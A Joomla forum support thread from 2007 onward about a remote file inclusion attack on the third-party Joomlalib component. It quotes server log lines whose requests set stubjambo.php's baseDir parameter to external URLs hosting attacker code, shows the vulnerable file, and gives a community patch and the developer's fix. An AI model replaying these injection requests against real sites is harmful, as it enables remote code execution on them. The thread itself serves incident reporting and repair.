The Joomla! Forum ™

Download

Demo


Board index » Joomla! Older Version Support » Joomla! 1.0 » Security - 1.0.x » 3rd Party/Non Joomla! Security Issues



Post new topic Reply to topic  Page 1 of 1
  [ 27 posts ] 
  Print view Previous topic | Next topic 
Author Message
dazzor
PostPosted: Tue Sep 18, 2007 8:00 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jun 05, 2006 2:04 pm
Posts: 16
Hi,

my provider has sand me an email with the message there was a hack attempt on the server true my site.
according to the log 'the hacker' included an external URL in stubjambo.php.

What can i do about this?

is use joomla 1.0.13
latest php and mysql
Top
 Profile  
 
infograf768
PostPosted: Tue Sep 18, 2007 9:55 am 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
Hack attempt does not mean the crack has been done.
Please ask your provider to quote the log concerning this.
Also, which version of Joomlalib and/or bsq_sitestats are you using?

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
dazzor
PostPosted: Tue Sep 18, 2007 11:47 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jun 05, 2006 2:04 pm
Posts: 16
log:

Quote:
scoutingranst.be 211.175.61.131 - - [18/Sep/2007:01:09:27 +0200] "GET /components/com_joomlalib/standalone/stubjambo.php?baseDir=http://www.freewe
btown.com/v3nom/id.txt? HTTP/1.1" 200 52 "-" "libwww-perl/5.79"


i have no idea what version of Joomlalib or bsq_sitestats, the one that comes with Joomla 1.0.12
Top
 Profile  
 
infograf768
PostPosted: Tue Sep 18, 2007 1:42 pm 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
They do not come with Joomla. These are 3rd party extensions.

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
dazzor
PostPosted: Wed Sep 19, 2007 6:39 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Mon Jun 05, 2006 2:04 pm
Posts: 16
ah, but i still have no idea. Any idea where i can find this?
Top
 Profile  
 
RussW
PostPosted: Wed Sep 19, 2007 6:47 am 
User avatar
Joomla! Exemplar
Joomla! Exemplar

Joined: Sun Oct 22, 2006 4:42 am
Posts: 9352
Location: Sunshine Coast, Queensland, Australia
Please log in to your Joomla! Administrator site,  list the components and there you will see the versions of the installed items and their appropriate authoers websites.  Check on the authors websites for updates and/or known exploits, also check their forums for similar problems, these are  not core Joomla! extensions.

_________________
Joomla! on the fabulous Sunshine Coast...
hotmango, web & print http://www.hotmango.me/
Network SMARTS, Systems Engineering http://www.networksmarts.com.au/
Top
 Profile  
 
Protozoan
PostPosted: Wed Sep 19, 2007 4:36 pm 
Joomla! Fledgling
Joomla! Fledgling

Joined: Fri Oct 06, 2006 12:10 am
Posts: 4
Affected component:
Joomlalib (necessary for the Gallery2 component)

The log file:
x - - [19/Sep/2007:00:21:00 +0200] "GET /components/com_joomlalib/standalone/stubjambo.php?baseDir=http://xxxx/tmp/echo3? HTTP/1.1" 200 924 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"

File contains:
Code:
<?
/** Create a Joomla/Mambo environment for our example programs
 * @package examples
 */
$baseDir = dirname(__FILE__) . '/';   
/** */   
define('_VALID_MOS', 1); //Pretend we're Joomla
require_once($baseDir.'../../../globals.php');
require_once($baseDir.'../../../configuration.php');
require_once($baseDir .'../../../includes/mambo.php');
$database = new database( $mosConfig_host, $mosConfig_user, $mosConfig_password, $mosConfig_db, $mosConfig_dbprefix );

$GLOBALS['database'] = $database;
?>


What do you guys suggest as fix?
Top
 Profile  
 
infograf768
PostPosted: Thu Sep 20, 2007 4:11 am 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
Merging with similar thread.
Looks like joomlalib is indeed at stake.

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
55thinking
PostPosted: Thu Sep 20, 2007 8:23 am 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast

Joined: Mon Sep 05, 2005 8:58 am
Posts: 186
Location: Madrid
is there a fix available ?

We affected...and we are not using the mentionned component, it got injected in our install

_________________
55 Thinking - Strategy Design Technology 
Good looking, Fast and Usable web solutions   
http://www.55thinking.com/
Top
 Profile  
 
amacide
PostPosted: Thu Sep 20, 2007 10:53 am 
Joomla! Fledgling
Joomla! Fledgling

Joined: Thu Sep 20, 2007 10:36 am
Posts: 1
Hi,

This is actively being exploited. I don't think the affected file
is normally used if at all - others may be able to confirm...

Unfortunately the exploited $baseDir affects Joomla further
along the processing so fixing in this file not seem to help.

If $baseDir is set in request, then abort going no further.
This may break your sites - works fine for me.

Code:
if(isset($_REQUEST['baseDir'])) { return FALSE;}


Cheers,

Code:
<?
/** Create a Joomla/Mambo environment for our example programs
 * @package examples
 */}
if(isset($_REQUEST['baseDir'])) { return FALSE;}

$baseDir = dirname(__FILE__) . '/';    
/** */ 
define('_VALID_MOS', 1); //Pretend we're Joomla
require_once($baseDir.'../../../globals.php');
require_once($baseDir.'../../../configuration.php');
require_once($baseDir .'../../../includes/mambo.php');
$database = new database( $mosConfig_host, $mosConfig_user, $mosConfig_password, $mosConfig_db, $mosConfig_dbprefix );

$GLOBALS['database'] = $database;
?>
Top
 Profile  
 
Protozoan
PostPosted: Thu Sep 20, 2007 8:10 pm 
Joomla! Fledgling
Joomla! Fledgling

Joined: Fri Oct 06, 2006 12:10 am
Posts: 4
amacide wrote:
Hi,

This is actively being exploited. I don't think the affected file
is normally used if at all - others may be able to confirm...

Unfortunately the exploited $baseDir affects Joomla further
along the processing so fixing in this file not seem to help.

If $baseDir is set in request, then abort going no further.
This may break your sites - works fine for me.

Code:
if(isset($_REQUEST['baseDir'])) { return FALSE;}


Cheers,

Code:
<?
/** Create a Joomla/Mambo environment for our example programs
 * @package examples
 */}
if(isset($_REQUEST['baseDir'])) { return FALSE;}

$baseDir = dirname(__FILE__) . '/';    
/** */ 
define('_VALID_MOS', 1); //Pretend we're Joomla
require_once($baseDir.'../../../globals.php');
require_once($baseDir.'../../../configuration.php');
require_once($baseDir .'../../../includes/mambo.php');
$database = new database( $mosConfig_host, $mosConfig_user, $mosConfig_password, $mosConfig_db, $mosConfig_dbprefix );

$GLOBALS['database'] = $database;
?>



Fix works here without complications. Thanks for your quick response.
Top
 Profile  
 
hamsel
PostPosted: Fri Sep 21, 2007 6:54 pm 
User avatar
Joomla! Apprentice
Joomla! Apprentice

Joined: Sun Oct 30, 2005 1:39 am
Posts: 25
Location: Denmark
This is certainly at risk!  If the injected php code is to be believed, the attack goes way beyond the individual site being hacked for phishing purposes and right into the host's system accounts. 

I've sent a copy of the injected code to infograf678 - I hope he will comment on the code here, if he gets the time...

/hamsel
Top
 Profile  
 
infograf768
PostPosted: Sat Sep 22, 2007 8:32 am 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
Sending mails around...

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
trompete
PostPosted: Sat Sep 22, 2007 2:19 pm 
User avatar
Joomla! Explorer
Joomla! Explorer

Joined: Thu Sep 01, 2005 11:19 pm
Posts: 273
Location: Minneapolis, USA
Hi,

Infograf was nice enough to make me aware of this vulnerability. I don't think this file is being used either. I'll do a code review since it's been 9 months since I looked at it (life > internet). I'll release a new package with this file removed as soon as I can.

Brent

_________________
Developer, bsq_sitestats module.
www.bs-squared.com
Top
 Profile  
 
trompete
PostPosted: Sat Sep 22, 2007 2:25 pm 
User avatar
Joomla! Explorer
Joomla! Explorer

Joined: Thu Sep 01, 2005 11:19 pm
Posts: 273
Location: Minneapolis, USA
Where did JoomlaLib and BSQ go on the extensions site? That wasn't very nice.

_________________
Developer, bsq_sitestats module.
www.bs-squared.com
Top
 Profile  
 
trompete
PostPosted: Sat Sep 22, 2007 2:40 pm 
User avatar
Joomla! Explorer
Joomla! Explorer

Joined: Thu Sep 01, 2005 11:19 pm
Posts: 273
Location: Minneapolis, USA
I posted a new version here:
http://joomlacode.org/gf/project/joomlalib/frs/

I still can't find the extension site entries to update them, but here's the fixed version.

_________________
Developer, bsq_sitestats module.
www.bs-squared.com
Top
 Profile  
 
infograf768
PostPosted: Sat Sep 22, 2007 2:49 pm 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
Brent,
Thanks for your fast reply.
JED admins took it off until fix made. Usual policy.  We were very much worrying this morning about these reports ;)

BSQ sitestats is concerned but also the Gallery2 extension I guess.

Please let ot2sen (Ole) know when you have uploaded new versions on joomlacode for the components too.
JM

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
ot2sen
PostPosted: Sat Sep 22, 2007 3:25 pm 
User avatar
Joomla! Exemplar
Joomla! Exemplar

Joined: Thu Aug 18, 2005 9:58 am
Posts: 9896
Location: Hillerød - Denmark
trompete wrote:
I posted a new version here:
http://joomlacode.org/gf/project/joomlalib/frs/

I still can't find the extension site entries to update them, but here's the fixed version.

BSQ and Gallery2Bridge published again. Feel welcomed to update descriptions and version info. Thanks  ;)

_________________
Ole Bang Ottosen
Kommerciel Support, Migrering og Kurser i joomla 2.5 www.ot2sen.dk
Dansk Joomla! support websted - www.joomla.dk
Top
 Profile  
 
dracula
PostPosted: Tue Oct 09, 2007 11:44 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Sun Dec 04, 2005 2:48 am
Posts: 5
I have posted the problem in the dev forum of joomlalib, so I will just post here the link the their forum.
[url=http://forum.4theweb.nl/showthread.php?p=5020#post5020]
http://forum.4theweb.nl/showthread.php?p=5020#post5020[/url]

From my point of view, the newest joomlalib is also affected!
Top
 Profile  
 
infograf768
PostPosted: Tue Oct 09, 2007 1:47 pm 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
Moving to the related thread.

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
infograf768
PostPosted: Tue Oct 09, 2007 1:48 pm 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
@trompete

Can you look into that?

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
trompete
PostPosted: Tue Oct 09, 2007 1:52 pm 
User avatar
Joomla! Explorer
Joomla! Explorer

Joined: Thu Sep 01, 2005 11:19 pm
Posts: 273
Location: Minneapolis, USA
Later. It's office hours here in the USA. I should be able to look at 8 PM CST (GMT - 6)

_________________
Developer, bsq_sitestats module.
www.bs-squared.com
Top
 Profile  
 
Michiel_1981
PostPosted: Tue Oct 09, 2007 2:19 pm 
User avatar
Joomla! Intern
Joomla! Intern

Joined: Sun Aug 28, 2005 6:38 am
Posts: 71
infograf768 wrote:
@trompete

Can you look into that?


Just looked into this with trompete, and there is NO know include like this in the code anymore, we emptied the file completly in the latest release.

so post complete file content and file name! So we can look into this.

kind regards,
Michiel

EDIT: forgot 1 word

_________________
Joomla! Projects
Michiel Bijland


Last edited by Michiel_1981 on Tue Oct 09, 2007 2:28 pm, edited 1 time in total.

Top
 Profile  
 
infograf768
PostPosted: Tue Oct 09, 2007 2:25 pm 
User avatar
Joomla! Master
Joomla! Master

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 16630
Location: **Translation Matters**
Thanks folks.  :)

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr
Multilanguage in 2.5: http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf
---------------------------------
Joomla Translation Coordination Team • Joomla! Production Working Group
Top
 Profile  
 
dracula
PostPosted: Tue Oct 09, 2007 3:14 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Sun Dec 04, 2005 2:48 am
Posts: 5
thanks. didn't see this topic. and the latest link I found on 4theweb.nl was going to a 1.3.1 version which still had the problem.
Top
 Profile  
 
geoffjones
PostPosted: Sat Mar 21, 2009 7:52 pm 
Joomla! Apprentice
Joomla! Apprentice

Joined: Thu Feb 19, 2009 2:23 pm
Posts: 21
Just looked at my error logs and this exploit is still being tried. Found the source from 4 origins, just in one day:
[RussW IP Addresses Removed, pointless exercise, these could be other compromised sites, via proxies or hijaked, the IP Address potentially mean nothing and do not assist with issue diagnosis or resolution ]

Put these in http://ip-address-lookup-v4.com/ to see their origins!!!!!!!!!!

I am running 1.0.15, and this directory/file does not reside on my website.
Top
 Profile  
 
Crwills
PostPosted: Sun Apr 25, 2010 2:31 am 
Joomla! Apprentice
Joomla! Apprentice

Joined: Sat Apr 24, 2010 5:21 am
Posts: 16
trompete wrote:
I posted a new version here:
http://joomlacode.org/gf/project/joomlalib/frs/

I still can't find the extension site entries to update them, but here's the fixed version.

Thank you very much for information.

_________________
C R Wills
Law Directory - http://www.attorneylawyerdirectory.org
Constuction Directory - http://constructiontoday.org
Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  Page 1 of 1
  [ 27 posts ] 


Board index » Joomla! Older Version Support » Joomla! 1.0 » Security - 1.0.x » 3rd Party/Non Joomla! Security Issues

Who is online

Users browsing this forum: No registered users and 3 guests

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB® Forum Software © phpBB Group